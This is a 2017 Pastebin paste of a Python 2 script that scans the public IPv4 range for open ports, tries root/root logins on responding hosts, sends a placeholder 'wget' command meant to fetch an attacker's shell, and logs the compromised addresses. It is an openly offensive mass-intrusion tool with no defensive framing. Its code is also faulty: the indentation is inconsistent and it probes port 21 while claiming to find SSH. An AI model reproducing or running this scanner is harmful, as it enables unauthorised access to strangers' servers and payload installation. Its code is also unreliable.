Advertisement
Guest User

mass ssh scan/login test. beta of what im working on.

a guest
Jun 26th, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.34 KB | None | 0 0
  1. import sys
  2. import random  
  3. import socket
  4. import getpass
  5. import pxssh
  6. import getpass
  7. print "\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
  8. print   " |---MASS SSH SCAN BY WHO?? me---|"
  9. print   " +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+"
  10. if (len(sys.argv) > 2):
  11.     print "--mass-scan"
  12. elif (len(sys.argv) < 2):
  13.     print "--mass-scan"
  14. else:
  15.     if (sys.argv[1] == "--mass-scan"):
  16.         STRTIP = raw_input("X.0.0.0 Start at?: ")
  17.         for p in xrange(int(STRTIP),255):
  18.             #print str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  19.             for q in xrange(0,255):
  20.                 #print str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  21.                 for r in xrange(4,255):
  22.                     #print str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  23.                     for s in xrange(0,255):
  24.                         ip = str(p) + "." + str(q) + "." + str(r) + "." + str(s)
  25.                         if (p==10 or p==127):
  26.                             #Private IP and Loopback IP
  27.                             ip = "null"
  28.                         elif (p == 100 and q >= 64 and q <= 127):
  29.                             #Shared Address Space
  30.                             ip = "null"
  31.                         elif (p >= 0 and p <= 15 and q >= 0 and q <= 20):
  32.                             #STARTS ON 15.20.X.X
  33.                             ip = "null"
  34.                         elif (p == 169 and q == 254):
  35.                             # APIPA
  36.                             ip = "null"
  37.                         elif (p == 172 and q >= 16 and q <= 31):
  38.                             #Private IP  172.16.0.0 - 172.31.255.255
  39.                             ip = "null"
  40.                         elif (p == 192 and q == 0 and r == 0):
  41.                             #192.0.0.0/24        # RFC6890: IETF Protocol Assignments
  42.                             ip = "null"
  43.                         elif (p == 192 and q == 0 and r == 2):
  44.                             #192.0.2.0/24        # RFC5737: Documentation (TEST-NET-1)
  45.                             ip = "null"
  46.                         elif (p == 192 and q == 88 and r == 99):
  47.                             #192.88.99.0/24      # RFC3068: 6to4 Relay Anycast
  48.                             ip = "null"
  49.                         elif (p == 192 and q == 168):
  50.                             #RFC1918: Private-Use
  51.                             ip = "null"
  52.                         elif (p == 192 and q == 18):
  53.                             # RFC2544: Benchmarking
  54.                             ip = "null"
  55.                         elif (p == 192 and q == 19):
  56.                             # RFC2544: Benchmarking
  57.                             ip = "null"
  58.                         elif (p == 192 and q == 51 and r == 100):
  59.                             # RFC5737: Documentation (TEST-NET-2)
  60.                             ip = "null"
  61.                         elif (p == 203 and r == 113):
  62.                             # RFC5737: Documentation (TEST-NET-2)
  63.                             ip = "null"
  64.                         elif (p >= 224):
  65.                             # RFC5737: Reserved D & E
  66.                             ip = "null"
  67.                         if (ip != "null"):
  68.                             print ip
  69.                             try:
  70.                                 for port in range (21, 22):
  71.                                     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  72.                                 sock.settimeout(0.5)
  73.                                     result = sock.connect_ex((ip, port))
  74.                                
  75.                                     if result == 0:
  76.                                     print "SSH FOUND {}".format(ip, port)
  77.                                     try:
  78.                                         f = open("SSH.txt","a")
  79.                                             f.write(ip)
  80.                                             f.write("\n")
  81.                                             f.close()
  82.                                         s = pxssh.pxssh()
  83.                                         hostname = ip
  84.                                         username = ('root')
  85.                                         password = ('root')
  86.                                         s.login(hostname, username, password)
  87.                                         s.sendline('wget ~yourshell or some shit~')
  88.                                         s.prompt()
  89.                                         f = open("root_logins.txt","a")
  90.                                         f.write(ip)
  91.                                         f.write("\n")
  92.                                         f.close()
  93.                                         s.logout()
  94.                                     except pxssh.ExceptionPxssh as e:
  95.                                         print("ssh failed on login.")
  96.                                         print(e)
  97.                                 sock.close()
  98.                             except socket.error:
  99.                                 print "Couldn't connect to server"
  100.                             except socket.gaierror:
  101.                                 print 'Hostname could not be resolved. Exiting'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement